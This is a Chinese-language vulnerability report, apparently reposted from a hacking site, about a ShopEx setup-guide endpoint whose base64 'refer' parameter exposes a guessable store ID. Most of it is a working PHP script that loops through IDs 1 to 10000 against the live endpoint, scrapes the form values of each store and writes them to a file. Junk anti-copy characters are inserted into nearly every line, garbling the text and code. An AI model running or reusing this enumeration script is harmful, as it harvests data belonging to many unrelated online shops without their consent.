|
|
简要描述:" v/ N9 x9 Q- Z1 B+ R
ShopEx某接口缺陷,可遍历所有网站& `0 ` y% w: \) t. e) @0 I# ~" f
详细说明:
2 a/ ^# t( p" K( T- ^问题出现在shopex 网店使用向导页面 & t0 P4 z& A. F. l" U- B$ y9 q6 ]
7 _5 b6 F1 A, H; D/ x2 S- S. u: w
) m: `9 c8 `' o. e- x ^2 R
7 I6 Z- S; v5 t& S4 H9 h. Mhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=. E" Z! {& k& U4 c
) q0 q9 ~+ N: K9 N4 p
: M7 s: @3 y5 x
# n. Z5 u# q2 ^
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
( l: u6 |0 p5 C* f# K2 Z0 S. u# A9 H/ J9 W. A, ~5 G' L- \
* H2 p& |0 p) s* [! g1 T
( X. K: f$ D% ]* D5 g/ J( D+ h( c
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
+ ^/ e- f3 B9 C' `6 N" S' H$ A& Y/ B! A
2 v" b1 G: y$ p% j2 w9 s3 I" a
$ h: a3 I$ m. a( K$ F7 ]7 K<?php
n0 c& r# [5 M% m" q+ w+ _; g( H; u5 g. D& n
for ($i=1; $i < 10000; $i++) { //遍历 o+ r( d4 y3 s; j- F
+ ~- {# ]3 D( N# C( Z- R ShowshopExD($i);
5 K0 l9 F- [6 R/ W4 N0 Z
- q7 K+ _1 L! P8 } }( _& b0 O. a' _& _, D
3 K* q& H i( }' O) a function ShowshopExD($cid) {! a+ F3 b9 k6 O% _ U
% `3 ~) ~# r) w- B. n1 _0 y/ B
$url='http://guide.ecos.shopex.cn/step2.php';5 f1 W, B. x* q( \7 e# H2 N
# A7 ^5 T' c% P' w4 \ n% @4 K $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');$ Y) M" T# Q1 P$ c$ Q
! M9 v' d" L$ u7 R4 p: j; w $url = $url.'?refer='.$refer;0 q0 r, N D' f: T" p- x8 L
2 J |5 L5 j0 l q) \2 |8 ~2 P $ch = curl_init($url);
2 b7 v4 N* I5 R3 v8 `3 H( R% B: g" U4 |+ x ~. Z* h3 I
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;! u* `/ ]! b7 x" `1 y% L7 s4 `9 h
6 X: S6 \( T2 r9 B/ S- W
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
, q, ^. v( z1 r/ d" f
2 l6 i3 {# _8 ` $result = curl_exec($ch);
; X1 L# H9 U( ^
1 C/ c0 C8 W/ l $result = mb_convert_encoding($result, "gb2312", "UTF-8");
1 P: _ b+ u8 v" t/ P& _
* E3 N* }, k! H+ g4 W: Y/ ?. G2 W if(strpos($result,$refer))
. u7 r$ I7 N" Q( Q1 j" k0 I% |0 P% p8 R, L8 G: x d4 O0 p. Q) h
{$ F. @% O* I$ B7 J7 p2 X2 b# S* ~
3 D/ s2 ~0 g. U0 m0 j$ b $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
% M+ B7 {- x* j' V8 n
! a+ j& E4 i# L preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);0 @) K" j+ S' u
2 E6 P5 \) \* J9 K$ o4 i+ {
foreach ($value[1] as $key) {- [- J9 R6 a" {$ n! S& j7 B
- H4 b6 [/ A8 q- Q/ B1 ]
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
1 b) G: q& T* L/ q8 K1 F; _; p: N3 _; w; D0 k% Z
echo $res[1][0].':'.$res[3][0]."\r\n";& G" T- ~! W& X( p: r
7 M0 C# m' I' O $col =$res[1][0].':'.$res[3][0]."\r\n";
( `+ e9 z2 N G5 s+ Q5 ~* g4 G; Z5 F, A# d. S
fwrite($fp, $col, strlen($col));
, _4 N# s- F3 c7 ~! ~* t$ b% ~$ d+ r0 X3 X5 f, j: O6 U9 ?
}
# k: ]1 i% T. g! M, U$ j- c
$ ]0 U a J e7 c+ F# S echo '--------------------------------'."\r\n";
; `1 n& o. m8 c/ i7 {6 U! b# V7 z
fclose($fp);
7 }; f+ F$ S ~4 f1 T: j, L* a5 L, o
}
! }* q( C, P( y' p, E4 m0 k- o6 y" c6 h0 x& G$ [
flush();6 O B) I; L# p
* a: d( w4 o7 T: j
curl_close($ch);
0 l3 O5 I5 [% f6 ]7 l' M' i4 o: o5 \2 s" a% \' k
}
$ h% C; X. }0 c$ s. C- F8 b& Q8 \; S/ J) m. J5 ?
?>. Z/ y8 X1 ^" j1 X2 n
漏洞证明:
0 p7 I/ c$ S+ \; Vhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
' }+ b, W8 T9 C* f) qrefer换成其他加密方式; w4 U" V4 m4 g' h2 b: A
|
|